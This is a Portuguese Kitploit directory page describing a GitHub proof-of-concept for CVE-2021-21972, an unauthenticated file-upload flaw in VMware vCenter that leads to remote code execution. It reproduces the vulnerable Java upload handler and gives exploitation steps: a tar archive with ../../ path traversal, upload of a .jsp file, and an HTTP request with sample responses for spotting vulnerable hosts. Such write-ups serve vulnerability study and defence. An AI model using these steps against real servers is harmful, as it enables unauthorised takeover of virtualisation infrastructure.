Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-21972 — [CVE-2021-21972] Upload de arquivo não autorizado no VMware vSphere Client para execução remota de código (RCE) | Kitploit
Ferramentas/GitHubGitHub/murataydemir/cve-2021-21972
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubmurataydemir/cve-2021-21972

CVE-2021-21972

[CVE-2021-21972] Upload de arquivo não autorizado no VMware vSphere Client para execução remota de código (RCE)

Ver Repositório
619há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

[CVE-2021-21972] Upload de Arquivo Não Autorizado para Execução Remota de Código (RCE) no VMware vSphere Client


O vSphere Web Client (HTML5) é essencialmente uma interface administrativa que permite gerenciar uma instalação do vSphere. O vSphere Client fornece a um administrador acesso às principais funções do vSphere sem a necessidade de acessar um servidor vSphere diretamente. Ele permite que administradores criem novas máquinas virtuais e gerenciem as existentes e seus recursos. Como uma aplicação web multiplataforma, pode ser usado em todos os sistemas operacionais suportados através das versões suportadas de diferentes navegadores web.

O CVE-2021-21972 é uma vulnerabilidade de upload de arquivo não autorizado no vCenter Server que leva à execução remota de código no servidor remoto. O problema decorre da falta de autenticação no vRealize Operations vCenter Plugin. Recebeu uma pontuação crítica CVSSv3 de 9,8 em 10,0. Um atacante remoto não autenticado poderia explorar esta vulnerabilidade enviando um arquivo especialmente criado para um endpoint do vCenter Server vulnerável que seja publicamente acessível. As versões 6.5, 6.7 e 7.0 do VMware vCenter Server são afetadas por esta vulnerabilidade. A exploração bem-sucedida desta vulnerabilidade resultaria em um atacante obtendo privilégios irrestritos de execução remota de código (RCE) no sistema operacional subjacente do vCenter Server. Apesar do fato de esta vulnerabilidade decorrer do vRealize Operations vCenter Plugin, o aviso da VMware confirma que este plugin está incluído em todas as instalações padrão do vCenter Server. Isso significa que o endpoint vulnerável está disponível independentemente da presença do vRealize Operations.

No post original do blog aqui, a descoberta da vulnerabilidade é explicada o mais detalhadamente possível, bem como dois caminhos separados para alcançar RCE. Para sistemas Windows, um atacante poderia enviar um arquivo .jsp especialmente criado para obter privilégios NT AUTHORITY\SYSTEM no sistema operacional subjacente. Para sistemas Linux, um atacante precisaria gerar e enviar uma chave pública para o caminho authorized_keys do servidor e depois conectar-se ao servidor vulnerável via SSH para obter privilégios do usuário vsphere-ui. (se o serviço SSH estiver em execução e acessível pela rede)

vropsplugin-service.jar é um arquivo java do plugin vropspluginui e inclui algumas classes e outras funções e métodos relacionados. A parte vulnerável do código é ilustrada abaixo. Neste trecho de código pertence ao ServicesController.class no controlador do vropsplugin-service.jar. Como você pode ver no trecho de código abaixo, a função uploadOvaFile é responsável pelo endpoint/URL que /ui/vropspluginui/rest/services/uploadova

Caminho completo da classe vulnerável: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class

@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }

Da perspectiva de um atacante, o manipulador desta classe está realizando as seguintes ações

  • Recebendo o parâmetro uploadFile com uma requisição do método POST (linha 2)
  • Lendo o parâmetro uploadFile e escrevendo o conteúdo deste parâmetro na variável inputStream (linha 22)
  • Abrindo os dados resultantes como um arquivo .tar (linha 34)
  • Recuperando todas as entradas do arquivo (linha 35)
  • Copiando cada entrada atual criada no disco usando a convenção de nomeação: /tmp/unicorn_ova_dir + entry.getName() (linhas 42 e 47)

Prova de Conceito: Para explorar esta vulnerabilidade, você pode usar os seguintes passos

  1. Verificar a vulnerabilidade
  2. Criar uma entrada de arquivo .tar contendo a string ../../
  3. Enviar o arquivo .tar criado para o servidor
  4. Ir ao caminho relacionado e chamar o arquivo que você enviou /statsreport/uploadedFileName.jsp

Para verificar a vulnerabilidade, você pode usar a seguinte requisição

GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

Se a resposta da requisição acima for semelhante às respostas abaixo, significa que o host remoto está vulnerável ao CVE-2021-21972

HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous

{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close
Baixar ferramenta